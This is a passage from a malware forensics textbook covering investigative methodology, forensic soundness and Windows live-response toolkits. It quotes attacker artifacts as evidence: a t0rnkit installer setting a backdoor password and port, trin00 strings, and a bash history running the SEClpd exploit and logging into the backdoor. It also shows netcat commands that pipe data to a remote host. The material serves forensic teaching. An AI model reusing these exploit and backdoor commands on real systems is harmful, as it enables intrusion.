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Introduction

Over the past year, the number of programs developed for malicious and illegal purposes has grown rapidly. The 2008 Symantec Internet Security Threat Report announced that there are over one million computer viruses in circulation, most developed in the past 12 months.1 Other antivirus vendors, including F-Secure, report a similarly dramatic increase in the number of viruses emerging since 2007.2 In the past, malicious code has been categorized neatly (e.g., viruses, worms, or Trojan Horses) based upon functionality and attack vector. Today, malware is often modular and multi-faceted; instead of fitting squarely into a certain category, many malware specimens represent more of a “blended-threat,” with diverse functionality and varied means of propagation.iMuch of this malware has been developed to support increasingly organized, professional computer criminals.

Indeed, criminals are making extensive use of malware to control computers and steal personal, confidential, or otherwise proprietary information for profit. A widespread attack in April 2008 exploited a new SQL injection vulnerability to insert a script “nihaorr1.com/1.js” into the database.3 When individuals accessed an infected Web site, the “1.js” script redirected their browsers to www.nihaorr1.com and attempted to install a password stealing program via various known vulnerabilities in Web browsers.

Furthermore, foreign governments are funding teams of highly skilled hackers to develop customized malware to support industrial and military espionage.4

The increasing use of malware to commit and conceal crimes is compelling more digital investigators to make use of malware analysis techniques and tools that were previously the domain of antivirus vendors and security researchers.

This book is designed to help digital investigators identify malware on a computer system, pull malware apart to uncover its functionality and purpose, and determine the havoc malware wreaked on a subject system. Practical case scenarios are used throughout the text to demonstrate techniques and associated tools. Furthermore, to bring malware analysis into the realm of forensic discipline, this book provides methodologies and discusses legal considerations that will enable digital investigators to perform their work in a reliable, repeatable, defensible, and thoroughly documented manner.


Investigative And Forensic Methodologies

When malware is discovered on a system, there are many decisions that must be made and actions that must be taken, often under severe time pressure. To help digital investigators achieve a successful outcome, this book provides an overall methodology for dealing with such incidents, breaking investigations involving malware into five phases:


[image: ent] Phase 1: Forensic preservation and examination of volatile data (Chapters 1 and 2)

[image: ent] Phase 2: Examination of memory (Chapter 3)

[image: ent] Phase 3: Forensic Analysis: Examination of hard drives (Chapters 4 and 5)

[image: ent] Phase 4: Static analysis of malware (Chapters 7 and 8)

[image: ent] Phase 5: Dynamic analysis of malware (Chapters 9 and 10)



Within each of these phases, formalized methodologies and goals are emphasized to help digital investigators reconstruct a vivid picture of events surrounding a malware infection and gain a detailed understanding of the malware itself. However, the methodologies outlined in this book are not intended as a check list to be followed blindly. Digital investigators must always apply critical thinking to what they are observing, and interviewing the system owners and users often helps develop a more complete picture of what occurred.

Furthermore, additional steps may be called for in some cases, depending on the context and available data sources. When backup tapes of the compromised system are available, it might be fruitful to compare them with the current state of the system and to assist in the recovery of the system. Some organizations routinely collect information that can be useful to the investigation, including centralized logs from antivirus agents, reports from system integrity checking tools like Tripwire, and network level logs.

Whenever feasible, investigations involving malware should extend beyond a single compromised computer, as malicious code is often placed on the computer via the network, and most modern malware has network-related functionality. Discovering other sources of evidence, such as servers the malware contacts to download components or instructions, can provide useful information about how malware got on the computer and what it did once it was installed.

Network forensics can play a key role in malware incidents, but this extensive topic is beyond the scope of this book. One of the author’s earlier works5 covers tools and techniques for collecting and utilizing various sources of evidence on a network that can be useful when investigating a malware incident, including intrusion detection systems, NetFlow logs, and network traffic. These logs can show use of specific exploits, malware connecting to external IP addresses, and the names of files being stolen. Although potentially not available prior to discovery of a problem, logs from network resources implemented during the investigation may capture meaningful evidence of ongoing activities.

Finally, as digital investigators more and more are asked to conduct malware analysis for investigative purposes that may lead to the victim’s pursuit of a civil or criminal remedy, ensuring the reliability and validity of findings means compliance with an oft complicated legal and regulatory landscape. Chapter 6, although not a substitute for obtaining counsel and sound legal advice, explores legal and regulatory concerns, and discusses some of the requirements or limitations that may govern the access, preservation, collection and movement of data and digital artifacts uncovered during malware forensic investigations.


Forensic Soundness

The act of collecting data from a live system causes changes that a digital investigator will need to explain with regards to their impact on the digital evidence. For instance, running tools like Helix from a removable media device will alter volatile data when it is loaded into main memory, and will generally create or modify files and Registry entries on the evidentiary system. Similarly, using remote forensic tools necessarily establishes a network connection, executes instructions in memory, and makes other alterations on the evidentiary system.

Purists argue that forensic acquisitions should not alter the original evidence source in any way. However, traditional forensic disciplines such as DNA analysis show that the measure of forensic soundness does not require the original to be left unaltered. When samples of biological material are collected, the process generally scrapes or smears the original evidence. Forensic analysis of the evidentiary sample alters the sample even more because DNA tests are destructive. Despite the changes that occur during preservation and processing, these methods are considered forensically sound and DNA evidence is regularly admitted as evidence.

Setting an absolute standard that dictates “preserve everything but change nothing” is not only inconsistent with other forensic disciplines but dangerous in a legal context. Conforming to such a standard may be impossible in some circumstances and, therefore, postulating this standard as the “best practice” only opens digital evidence to criticisms that have no bearing on the issues under investigation. In fact, courts are starting to compel preservation of volatile computer data in some cases, requiring digital investigators to preserve data on live systems. In Columbia Pictures Indus. v. Bunnell,6 for example, the court held that RAM on a Web server could contain relevant log data and was therefore within the scope of discoverable information in the case.

One of the keys to forensic soundness is documentation. A solid case is built on supporting documentation that reports where the evidence originated and how it was handled. From a forensic standpoint, the acquisition process should change the original evidence as little as possible, and any changes should be documented and assessed in the context of the final analytical results. Provided the acquisition process preserves a complete and accurate representation of the original data, and its authenticity and integrity can be validated, the analysis is generally considered forensically sound.

Documenting the steps taken during an investigation, as well as the results, will enable others to evaluate or repeat the analysis. Keep in mind that contemporaneous notes are often referred to several years later to help digital investigators recall what occurred, what work was conducted, and who was interviewed, among other things. Common forms of documentation include screenshots, captured network traffic, output from analysis tools, and notes. When preserving volatile data, document the date and time data was preserved, which tools were used, and calculate the hash of all output. Whenever dealing with computers, it is critical to note the date and time of the computer, and compare it with a reliable time source.




Evidence Dynamics

Unfortunately, digital investigators are rarely presented with the perfect digital crime scene. Many times the malware or attacker has purposefully destroyed evidence by deleting logs, overwriting files, or encrypting incriminating data. In addition, we are often called to an incident after a victim/client has taken steps to remediate an incident, only to find that they have destroyed critical evidence, or worse, compounded the damage to the system by setting off additional hostile programs.

This phenomenon is not unique to digital forensics. For instance, violent crime investigators regularly find that offenders attempted to destroy evidence, and EMT first responders disturbed the crime scene while attempting to resuscitate the victim. These types of situations are sufficiently common to have earned a term - evidence dynamics. Evidence dynamics is any influence that changes, relocates, obscures, or obliterates evidence, regardless of intent between the time evidence is transferred and the time the case is adjudicated.7 Evidence dynamics is a particular concern in malware incidents because there is often critical evidence in memory that will be lost if not preserved quickly and properly. Digital investigators must live with the reality that they will rarely have an opportunity to examine a digital crime scene in its original state and should therefore expect some anomalies.

Evidence dynamics creates investigative and legal challenges, making it more difficult to determine what occurred and how to prove that the evidence is authentic and reliable. Additionally, any conclusions that the digital investigator reaches without the knowledge of how evidence was changed will be open to criticism in court, may misdirect an investigation, and may be ultimately completely incorrect. The methodologies and legal discussion provided in this book are designed to minimize evidence dynamics while collecting volatile data from a live system using tools that can be differentiated from similar utilities commonly used by intruders.






Forensic Analysis


Preservation and Examination of Volatile Data

Investigations involving malicious code rely heavily on forensic preservation of volatile data. Because operating a suspect computer usually changes the system, care must be taken to minimize the changes made to the system, collect the most volatile data first (a.k.a. Order of Volatility, which is described in detail in RFC 3227: Guidelines for Evidence Collection and Archiving)8 and thoroughly document all actions taken.

Technically, some of the information collected from a live system in response to a malware incident is non-volatile. The following subcategories are provided to clarify the relative importance of what is being collected from live systems.


[image: ent] Tier 1 Volatile Data: Critical system details that provide the investigator with insight as to how the system was compromised and the nature of the compromise. Examples include logged in users, active network connections and the processes running on the system.

[image: ent] Tier 2 Volatile Data: Ephemeral information that while beneficial to the investigation and providing further insight to the nature and purpose of the infection, that is not critical in identifying system status and details. Examples of this data include scheduled tasks and clipboard contents.

[image: ent] Tier 1 Non-Volatile Data: Reveals the status, settings and configuration of the target system, potentially providing clues as to the method of the compromise and infection of the system or network. Examples of this data include registry settings and audit policy.

[image: ent] Tier 2 Non-Volatile Data: Provides historical information and context to support the understanding of the nature and purpose of the infection, but is not critical in the system status, settings or configuration. Examples of this data include system event logs and Web browser history.



The current best practices and associated tools for preserving and examining volatile data on Windows and Linux systems are covered in Chapter 1 (Malware Incident Response: Volatile Data Collection and Examination on a Live Windows System), Chapter 2 (Malware Incident Response: Volatile Data Collection and Examination on a Live Linux System) and Chapter 3 (Memory Forensics: Analyzing Physical and Process Memory Dumps for Malware Artifacts).




Recovering Deleted Files

Specialized forensic tools have been developed to recover deleted files that are still referenced in the file system. It is also possible to salvage deleted executables from unallocated space that are no longer referenced in the file system. One of the most effective tools for salvaging executables from unallocated space is “foremost,” as shown here using the “-t” option, which uses internal carving logic rather than simply headers from the configuration file.


Foremost version 1.5 by Jesse Kornblum, Kris Kendall, and Nick Mikus

Audit File

Foremost started at Tue Jan 22 05:18:19 2008

Invocation: foremost -t exe,dll host3-diskimage.dmp

Output directory: /examination/output

Configuration file: /usr/local/etc/foremost.conf

------------------------------------------------------------------

File: host3-diskimage.dmp

Start: Tue Jan 22 05:18:19 2008

Length: 1000 MB (1066470100 bytes)

[image: image]




Other Tools to Consider



	DataLifter
	http://www.datalifter.com

	Scalpel
	http://www.digitalforensicssolutions.com/Scalpel/

	PhotoRec
	http://www.cgsecurity.org/wiki/PhotoRec









Temporal, Functional and Relational Analysis

One of the primary goals of forensic analysis is to reconstruct the events surrounding a crime. Three common analysis techniques that are used in crime reconstruction are temporal, functional, and relational analysis.

The most commonly known form of temporal analysis is the timeline, but there is such an abundance of temporal information on computers that the different approaches to analyzing this information are limited only by our imagination and current tools.

The goal of functional analysis is to understand what actions were possible within the environment of the offense, and how the malware actually behaves within the environment (as opposed to what it was capable of doing). One effective approach with respect to conducting a functional analysis to understand how a particular piece of malware behaves on a compromised system is to load the forensic duplicate into a virtual environment using a tool like LiveView.9
Figure I.1 below shows LiveView being used to prepare and load a forensic image into a virtualized environment.

[image: image]

Figure I.1 LiveView Taking a Forensic Duplicate of a Windows XP System and Launching it in VMware

Relational analysis involves studying how components of malware interact, and how various systems involved in a malware incident relate to each other. For instance one component of malware may be easily identified as a downloader for other more critical components and may not require further in-depth analysis. Similarly one compromised system may be the primary command and control point used by the intruder to access other infected computers and may contain the most useful evidence of the intruder’s activities on the network, as well as information about other compromised systems.

Specific applications of these forensic analysis techniques are covered in Chapter 4 (Post-Mortem Forensics: Discovering and Extracting Malware and Associated Artifacts from Windows Systems) and Chapter 5 (Post-Mortem Forensics: Discovering and Extracting Malware and Associated Artifacts from Linux Systems).






Malware Analysis


How an Executable File is Compiled

Before delving into the tools and techniques used to dissect a malicious executable program, it is important to understand the process in which source code is compiled, linked, and becomes executable code. The steps that an attacker takes during the course of compiling malicious code will often determine the items of evidentiary significance discovered during the examination of the code.

Think of the compilation of source code into an executable file like the metamorphosis of caterpillar to butterfly: the initial and final products manifest as two totally different entities, even though they are really one in the same, but in different form.

As illustrated in Figure I.2 above, when a program is compiled, the program’s source code is run through a compiler, a program that translates the programming statements written in a high level language into another form. Once processed through the compiler, the source code is converted into an object file or machine code, as it contains a series of instructions not intended for human readability, but rather for execution by a computer processor.10

[image: image]

Figure I.2 Compiling Source Code into an Object File

After the source code is compiled into an object file, a linker assembles any required libraries and object code together to produce an executable file that can be run on the host operating system, as seen in Figure I.3.

[image: image]

Figure I.3 A Linker Creates an Executable File by Linking the Required Libraries and Code to an Object File

Often, during compilation, bits of information are added to the executable file that may be relevant to the overall investigation. The amount of information present in the executable is contingent upon how it was compiled by the attacker.

Chapter 7 (File Identification and Profiling: Initial Analysis of a Suspect File on a Windows System) and Chapter 8 (File Identification and Profiling: Initial Analysis of a Suspect File on a Linux System) cover tools and techniques for unearthing these useful clues during the course of your analysis.




Static vs. Dynamic Linking

In addition to the information added to the executable during compilation, it is important to examine the suspect program to determine whether it is a static or a dynamic executable, as this will significantly impact the contents and size of the file, and in turn, the evidence you may discover.

A static executable is compiled with all of the necessary libraries and code it needs to successfully execute, making the program “self-contained.” Conversely, dynamically linked executables are dependent upon shared libraries to successfully run. The required libraries and code needed by the dynamically linked executable are referred to as dependencies. In Windows programs, dependencies are most often dynamic link libraries, or DLLs (.dll extension) that are imported from the host operating system during execution. File dependencies in Windows executables are identified in the Import Tables of the file structure. In Linux binaries, dependencies most often are shared library files invoked and linked from the host operating system during execution through a dynamic linker. By calling on the required libraries at runtime, rather than statically linking them to the code, dynamically linked executables are smaller and consume less system memory, among other things.

We will discuss how to examine a suspect file to identify dependencies, and delve into Important Table and file dependency analysis in greater detail in Chapter 7 (File Identification and Profiling: Initial Analysis of a Suspect File on a Windows System); Chapter 8 (File Identification and Profiling: Initial Analysis of a Suspect File on a Linux System); Chapter 9 (Analysis of a Suspect Program: Windows); and Chapter 10 (Analysis of a Suspect Program: Linux).




Class vs. Individuating Characteristics

It is simply not possible to be familiar with every kind of malware, in all of its various forms. Best investigative effort will include a comparison of unknown malware with known samples, as well as the conduct of preliminary analysis designed not just to identify the specimen, but how best to interpret it. Although libraries of malware samples currently exist in the form of anti-virus programs and hash sets, these resources are far from comprehensive. Individual investigators instead must find known samples to compare with evidence samples and focus on the characteristics of files found on the compromised computer to determine what tools the intruder used. For instance, the “liblp.tk” is associated with the “t0rnkit” on a compromised host used for examples in this text.

Once an exemplar is found that resembles a given piece of digital evidence, it is possible to classify the sample. John Thornton describes this process well in “The General Assumptions and Rationale of Forensic Identification”:11

In the “identification” mode, the forensic scientist examines an item of evidence for the presence or absence of specific characteristics that have been previously abstracted from authenticated items. Identifications of this sort are legion, and are conducted in forensic laboratories so frequently and in connection with so many different evidence categories that the forensic scientist is often unaware of the specific steps that are taken in the process. It is not necessary that those authenticated items be in hand, but it is necessary that the forensic scientist have access to the abstracted information. For example, an obscure 19th Century Hungarian revolver may be identified as an obscure 19th Century Hungarian revolver, even though the forensic scientist has never actually seen one before and is unlikely ever to see one again. This is possible because the revolver has been described adequately in the literature and the literature is accessible to the scientist. Their validity rests on the application of established tests which have been previously determined to be accurate by exhaustive testing of known standard materials.

In the “comparison” mode, the forensic scientist compares a questioned evidence item with another item. This second item is a “known item.” The known item may be a standard reference item which is maintained by the laboratory for this purpose (e.g. an authenticated sample of cocaine), or it may be an exemplar sample which itself is a portion of the evidence in a case (e.g., a sample of broken glass or paint from a crime scene). This item must be in hand. Both questioned and known items are compared, characteristic by characteristic, until the examiner is satisfied that the items are sufficiently alike to conclude that they are related to one another in some manner.

In the comparison mode, the characteristics that are taken into account may or may not have been previously established. Whether they have been previously established and evaluated is determined primarily by (1) the experience of the examiner, and (2) how often that type of evidence is encountered. The forensic scientist must determine the characteristics to be before a conclusion can be reached. This is more easily said than achieved, and may require de novo research in order to come to grips with the significance of observed characteristics. For example, a forensic scientist compares a shoe impression from a crime scene with the shoes of a suspect, Slight irregularities in the tread design are noted, but the examiner is uncertain whether those features are truly individual characteristics unique to this shoe, or a mold release mark common to thousands of shoes produced by this manufacturer. Problems of this type are common in the forensic sciences, and are anything but trivial.

The source of a piece of malware is itself a unique characteristic that may differentiate one specimen from another. Being able to show that a given sample of digital evidence originated on a suspect’s computer could be enough to connect the suspect with the crime. The denial of service attack tools that were used to attack Yahoo! and other large Internet sites, for example, contained information useful in locating those sources of attacks. As an example, IP addresses and other characteristics extracted from a distributed denial of service attack tool (trin00) are shown here:


socket

bind

recvfrom

%s %s %s

aIf3YWfOhw.V.

PONG

*HELLO*

10.154.101.4

192.168.76.84



The sanitized IP addresses at the end indicated where the daemon’s “master” programs were located on the Internet, and the computers running the master programs may have useful digital evidence on them.

Class characteristics may also establish a link between the intruder and the crime scene. For instance, the “t0rn” installation file contained a username and port number selected by the intruder shown here:


#!/bin/bash

# t0rnkit9+linux bought to you by torn/etC!/x0rg

# Define (You might want to change these)

dpass=owened

dport=31337



If the same characteristics are found on other compromised hosts or on a suspect’s computer, these may be correlated with other evidence to show that the same intruder was responsible for all of the crimes, and that the attacks were launched from the suspect’s computer. For instance, examining the computer with IP address 192.168.0.7 used to break into 192.168.0.3 revealed the following traces that help establish a link.


[image: image]

[eco@ice eco]$ less.bash_history


cd unix-exploits/

./SEClpd 192.168.0.3 brute -t 0

./SEClpd 192.168.0.3 brute -t 0

ssh -l owened 192.168.0.3 -p 31337

[eco@ice eco]$ cd tk

[eco@ice tk]$ ls -latc


total 556

[image: image]

[eco@ice tk]$ head t0rn


#!/bin/bash

# t0rnkit9+linux bought to you by torn/etC!/x0rg

# Define (You might want to change these)

dpass=owened

dport=31337



Be aware that malware developers continue to find new ways to undermine forensic analysis. For instance, we have encountered the following anti-forensic techniques (this list is by no means exhaustive and will certainly develop with time:


[image: ent] Multicomponent

[image: ent] Packing and encryption

[image: ent] Detection of debuggers and virtual environments

[image: ent] Malware that halts when the PEB Debugging Flag is set

[image: ent] Malware that sets the “Trap Flag” on one of its operating threads to hinder tracing analysis

[image: ent] Malware that uses Structured Exception Handling (SEH) protection to block or misdirect debuggers

[image: ent] Malware that rewrites error handlers to force a floating point error to control how the program behaves



A variety of tools and techniques are available to digital investigators to overcome these anti-forensic measures, many of which are detailed in this book. However, more advanced anti-forensic techniques require knowledge and programming skills beyond the scope of this book. More in-depth coverage of reverse engineering is available in Reverse Engineering Code with IDA Pro.
12
Rootkits
13 provides details on programming rootkits and other malware.






From Malware Analysis To Malware Forensics

In the good old days, digital investigators could discover and analyze malicious code on computer systems with relative ease. Trojan horse programs like Back Orifice and SubSeven, and UNIX rootkits like t0rnkit, did little to undermine forensic analysis of the compromised system. Because the majority of malware functionality was easily observable, there was little need for a digital investigator to perform in-depth analysis of the code. In many cases, someone in the information security community would perform a basic functional analysis of a piece of malware and publish it on the Web.

Today as computer intruders become more cognizant of digital forensic techniques, malicious code is increasingly designed to obstruct meaningful analysis. By employing techniques that thwart reverse engineering, encode and conceal network traffic, and minimize the traces left on file system, malicious code developers are making both discovery and forensic analysis more difficult. This trend started with kernel loadable rootkits on UNIX and has evolved into similar concealment methods on Windows systems. Today, various forms of malware are proliferating, automatically spreading (worm behavior), providing remote control access (Trojan horse/backdoor behavior), and sometimes concealing their activities on the compromised host (rootkit behavior). Furthermore, malware has evolved to undermine security measures, disabling AntiVirus tools and bypassing firewalls by connecting from within the network to external command and control servers.

One of the primary reasons that developers of malicious code are taking such extraordinary measures to protect their creations is that, once the functionality of malware has been decoded, digital investigators know what traces and patterns to look for on the compromised host and in network traffic. In fact, the wealth of information that can be extracted from malware has made it an integral and indispensable part of intrusion investigation and identity theft cases. In many cases, little evidence remains on the compromised host and the majority of investigatively useful information lies in the malware itself.

The growing importance of malware analysis in digital investigations, and the increasing sophistication of malicious code, has driven advances in tools and techniques for performing surgery and autopsies on malware. As more investigations rely on understanding and counteracting malware, the demand for formalization and supporting documentation has grown. The results of malware analysis must be accurate and verifiable, to the point that they can be relied on as evidence in an investigation or prosecution. As a result, malware analysis has become a forensic discipline – welcome to the era of malware forensics.




Notes




1 See http://news.bbc.co.uk/2/hi/technology/7340315.stm.

2 See http://news.zdnet.com/2100-1009_22-6222896.html.

3 See http://gopaultech.com/blog/2008/04/nihaorr1-sql-injection-attack/.; http://robnewby.blogspot.com/2008/04/nihaorr1-attack-explained.html.; http://www.shadowserver.org/wiki/pmwiki.php?n=Calendar.20080424

4 See “The New E-spionage Threat,” available at http://www.businessweek.com/magazine/content/08_16/b4080032218430.htm; “China accused of hacking into heart of Merkel administration,” available at http://www.timesonline.co.uk/tol/news/world/europe/article2332130.ece.

5 Eoghan Casey, Digital Evidence and Computer Crime (Second Edition 2004).

6 2007 U.S. Dist. LEXIS 46364 (C.D. Cal. June 19, 2007).

7 Chisum, W.J., & Turvey, B. “Evidence Dynamics: Locard’s Exchange Principle & Crime Reconstruction,” Journal of Behavioral Profiling, January 2000, Vol. 1, No. 1.

8 See http://www.faqs.org/rfcs/rfc3227.html.

9
http://liveview.sourceforge.net

10 For good discussions of the file compilation process and analysis of binary executable files, see, Keith J. Jones, Richard Bejtlich & Curtis W. Rose, Real Digital Forensics: Computer Security and Incident Response, (Addison Wesley 2005); Kevin Mandia, Chris Prosise & Matt Pepe, Incident Response & Computer Forensics (McGraw-Hill/Osborne, Second Edition 2003); and Ed Skoudis & Lenny Zeltser, Malware: Fighting Malicious Code, (Prentice Hall 2003).

11 David L. Faigman, David H. Kaye, Michael J. Saks, & Joseph Sanders, Editors, Modern Scientific Evidence: The Law And Science Of Expert Testimony, Volume 2, (St. Paul: West Publishing Co., 1997).

12 http://www.elsevier.com/wps/find/bookdescription.cws_home/712912/description#description.

13 http://www.informit.com/store/product.aspx?isbn=0321294319.

i See http://www.virusbtn.com/resources/glossary/blended_threat.xml.




Chapter 1

Malware Incident Response: Volatile Data Collection and Examination on a Live Windows System

Solutions in this chapter:
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Introduction

This chapter demonstrates the value of preserving volatile data, and provides practical guidance on preserving such data in a forensically sound manner. The value of volatile data is not limited to process memory associated with malware, but can include passwords, Internet Protocol (IP) addresses, Security Event Log entries, and other contextual details that can provide a more complete understanding of the malware and its use on a system.

In a powered-up state, a subject system contains critical ephemeral information that reveals the state of the system. This volatile data is sometimes referred to as stateful information. Incident response forensics, or live response, is the process of acquiring the stateful information from the subject system while it remains powered on. As we discussed in the introductory chapter, the Order of Volatility should be considered when collecting data from a live system to ensure that critical system data is acquired before it is lost or the system is powered down. Further, because the scope of this chapter pertains to live response through the lens of a malicious code incident, the preservation techniques outlined in this section are not intended to be comprehensive or exhaustive, but rather to provide a solid foundation relating to malware on a live system.

Often, malicious code live response is a dynamic process, with the facts and context of each incident dictating the manner and means in which the investigator will proceed with his investigation. Unlike other forensic contexts wherein simply acquiring a forensic duplicate image of a subject system’s hard drive would be sufficient, investigating a malicious code incident on a subject system will almost always require live response to some degree. This is because much of the information the investigator needs to identify the nature and scope of the malware infection, resides in stateful information that will be lost when the computer is powered down.

This chapter provides an overall methodology for preserving volatile data on a Windows system during a malware incident, and uses case scenarios to demonstrate the collection process as well as the strengths and shortcoming of the data acquired in this process.




Building Your Live Response Toolkit

When conducting Live Response Forensics it is paramount to implement known trusted tools to acquire data from the target system. Because a target system has been potentially compromised, we cannot rely upon the native programs, dependency and system files to conduct our examination, as the attacker may also have modified these files. As a result, we need to select the tools we intend to implement during live response and determine the linked libraries and other modules that each tool invokes.i Through this method we can copy all the required dependencies to our live response CD in the respective directories, with the associated tools to potentially reduce system interaction and limit invoking potentially compromised files, tainting the reliability of our examination. We need to emphasize that this may only potentially reduce interaction with the operating system; although most executables will seek dependencies from the same directory in which invoked, executables from newer versions of the Windows operating system (XP and newer) look to specified locations on the operating system.ii

In addition to potentially reducing interaction with the host system, it is helpful to identify and document the dependencies of the tools for the purpose of determining files accessed and system changes made as a result of using the tools. You can identify the file dependencies of a tool by loading it into a Portable Executable file analysis tool like Dependency Walker (depends.com) or PEView, as shown in Figure 1.1.

[image: image]

Figure 1.1 Identifying Required Libraries for psinfo with PEView

Since many of the tools used for incident response may also be used by attackers, it is necessary to mark our tools in some way to differentiate them. An obvious approach is to change the names of the executables, but it is also recommended to insert some data, such as your initials, in each executable. This can be achieved using a hex editor and adding the text to an area of the header that will not impact the operation of the tool. For instance, to differentiate a digital investigator’s PRCView utility discussed later in this chapter, open the executable in a hex editor, and add a few distinctive bytes at offset 600 immediately following the PE header. Running the tool after this modification will ensure that the marking process did not break the executable. For each tool, keeping a note of the mark that was entered, the original filename (pv.exe) and hash (5daf7081a4bb112fa3f1915819330a3e), along with the new filename (ec-pv.exe) and hash (88a2cacaa309bcc809573a239209e2a6) allows for later identification.


Caveats

Tool marking generally involves only a few characters, and may not be appropriate in some situations. It may not be feasible or permitted to alter certain commercial software, or it may not be possible to confirm that the tool marking did not alter the operation of the tool. Ensure that any such tool modification falls with the scope of authority to investigate, whether the source for that authority is public, private or statutory (see Chapter 6 for additional information in this regard, and obtain appropriate legal advice as necessary to do so).



Once you’ve selected your tools, obtained the required dependencies, and marked the binaries with a distinctive signature, you’ll need to choose the appropriate media to copy your toolkit to and deploy from. Many malware analysts and first responders choose to keep their trusted tools on a CD to minimize interaction with the system and to ensure that the tools themselves do not become infected with any malware that may be on the system being analyzed, whereas others prefer to deploy the tools from a thumb drive or external hard drive, because the media will also serve as the repository for the collected results. For instance, a high volume thumb drive (4 to 8 gigabytes) or external hard drive for live response data acquisition can serve as practical receptacle for the data, including a full system memory dump image.

Much of this decision will come down to whether you intend to collect the live system data locally or remotely. Collecting results locally means you are connecting a storage media to the subject system and saving the results to the connected media. Conversely, remote collection means that you are establishing a network connection, typically with a netcat or cryptcat listener, and transferring the acquired system data over the network to a collection server. The later method reduces system interaction but relies on the ability of being able to traverse the subject network through the ports established by the netcat listener. The following pair of commands send the output of PRCView from a subject system to a remote IP address (172.16.131.32) and saves the output in a file named “pv-e-20080430-host1.txt” on the collection system. The netcat command must be executed on collection system first so that it is ready and waiting to receive data from the subject system.



	Subject system ->
	-> Collection system (172.16.131.32)



	ec-pv.exe -e | nc 172.16.131.32 13579
	nc -l -p 13579 > pv-e-20080430-host1.txt




Remote forensics tools are also available that enable digital investigators to obtain volatile data from remote systems, as discussed later in this chapter.

In some instances the subject network has rigid firewall and proxy server configuration, making it cumbersome or impractical to establish a remote collection repository. Further, acquiring an image of a subject system’s physical memory during live response may entail several gigabytes of data over the network (depending on the amount of random access memory (RAM) in the system), which can be time and resource consuming. The best bet in this regard is to design your Live Response toolkit with flexibility so that you can adjust and adapt your acquisition strategy quickly and effectively. Throughout this chapter we will discuss the implementation and purpose of numerous tools that can be used for live response data collection through the lens of a malicious code case scenario. After learning about the value and shortcomings of these individual tools, at the end of the chapter, we will explore Incident Response Tools Suites.


Testing and Validating your Tools

After selecting the tools that you will incorporate in your live response toolkit, it is strongly recommended that you implement the tools on a test system to identify the data the tools will collect, and just as important, identify the artifacts, or “digital footprint” the tools make on the system. Identifying and documenting the data that the tools acquire along with the artifacts that the tools leave behind, is important for explaining time stamp or system modification identified during your post-mortem analysis of the subject system. Similarly, when using netcat or remote forensics tools to acquire data, documenting the clock offset between the subject and collection systems will help correlate acquisition events with any changes on the subject system.

Perhaps the most efficient means to create a testing and validation system for your toolkit is through a virtual system, such as VMWare or VirtualBox1, as this software allows the user to make “snapshots,” so that the system can be reverted to its original prestine state after being modified. Using this method, the system can be reused during the tool testing and validation process.

Once you have established your baseline testing environment, consider implementing system monitoring tools to identify system changes that occur as a result of deploying your trusted incident response tools. To accomplish this, there are a variety tools that help monitor system behavior.


System/Host Integrity Monitoring

One consideration is to implement system integrity monitoring software such as Winalysis2 (as depicted in Figure 1.2) or InstallSpy,3 which allow the investigator to take a snapshot of the target system, establishing a baseline system environment, and notifying the system user of any subsequent system changes. Winalysis is a program that allows you to save a snapshot of a subject system’s configuration, and then monitor for changes to files, the registry, users, local and global groups, rights policy, services, the scheduler, volumes, and shares resulting from software installation or unauthorized access. Similarly, InstallSpy is a system integrity monitor that tracks any changes to the registry and file system and also records when a program is installed or run. We’ll revisit the uses of Installspy, Winalysis and other system integrity monitoring tools in Chapter 9, where we discuss creating a baseline environment for dynamic analysis of malware specimens.
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Figure 1.2 Winalysis Being Used to Create a Snapshot of the Target System Baseline

For more granular control over observing system changes, such as file system and registry changes that occur as a result of running tools from your live response toolkit, both File Monitor (FileMon),4 and Registry Monitor (RegMon),5 shown in Figure 1.3, can be implemented to capture a real-time file system and registry system changes. Similarly, Process Monitor6 (for Windows XP SP2 and above), depicted in Figure 1.4, combines the capabilities of FileMon and RegMon and displays real-time file system, Registry, and process activity.
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Figure 1.3 Registry Monitor Displaying Registry Activity
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Figure 1.4 Process Monitor Displaying System Activity


Other Tools to Consider

System Monitoring
[image: ent] Regshot http://regshot.blog.googlepages.com/; https://sourceforge.net/projects/regshot.

[image: ent] InCtrl5 http://www.pcmag.com/article2/0,4149,9882,00.asp.

[image: ent] InstallWatch http://www.epsilonsquared.com/.

[image: ent] InstallSpy http://www.2brightsparks.com/freeware/freeware-hub.html.

[image: ent] FingerPrint v.2.1.3 http://www.2brightsparks.com/freeware/freeware-hub.html.

[image: ent] PCLogger http://www.soft-trek.com.au/prjPCLogger.asp.

[image: ent] GFI LANguard System Integrity Monitor http://kbase.gfi.com/showarticle.asp?id=KBID001573.

[image: ent] DirMonitor http://www.gibinsoft.net/.

[image: ent] Microsoft Installation Monitor http://download.microsoft.com/download/win2000platform/instaler/1.00.0.1/NT5/EN-US/instaler_setup.exe.

[image: ent] Microsoft Change Analysis Diagnostic Tool http://support.microsoft.com/ kb/924732.







After creating and validating your live response toolkit, we need to examine the methodology in which data will be collected off of a subject system during live response.

As previously mentioned, the methodology and techniques outlined in this section are not intended to be comprehensive or exhaustive, but rather to provide a solid foundation relating to malware on a live system.








Volatile Data Collection Methodology

As discussed in the Introduction chapter, data should be collected from a live system in the order of volatility. The following guidelines are provided to give a clearer sense of the types of volatile data that can be preserved to gain a better understanding of the malware.
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[image: ent] Check for unauthorized accounts, groups, shares, and other system resources and configurations using the Windows “net” commands
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[image: ent] Collect clipboard contents
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Preservation of Volatile Data

Because each version of the Windows operating system has different ways of structuring data in memory, existing tools for examining full memory captures may not be able to interpret memory structures properly in every case. Furthermore, memory forensics is in the early stages of development, and only a small percentage of available information can be extracted using the memory forensic techniques covered in Chapter 3. Therefore, after capturing the full contents of memory, it is advisable to use an Incident Response suite to preserve information from the live system such as lists of running processes, open files, and network connection. Some information in memory can be displayed by using Command Line Interface (CLI) utilities on the system under examination. This same information may not be readily accessible or easily displayed from the memory dump after it is loaded on a forensic workstation for examination.


Analysis Tip

Virtual Incident ResponseThere may be circumstances wherein you simply cannot perform Live Response analysis on a target machine, for example, where the target system is compromised with a malicious code specimen which has a known anti-forensic trigger that could cause data corruption or destruction if executed. In instances such as these, you may need to simply pull the plug on the system and image the target system’s hard drive. Hope is not lost in performing incident response techniques on the system … sort of. By mounting the imaged hard drive in LiveView or other image resuscitating tools you can boot the target system in a virtual environment and deploy “live response” techniques in this environment. Often, malware specimens have persistence mechanisms, such as registry autorun setting, making it possible that virtualized system will be in the same or similar state as it was during the original incident.





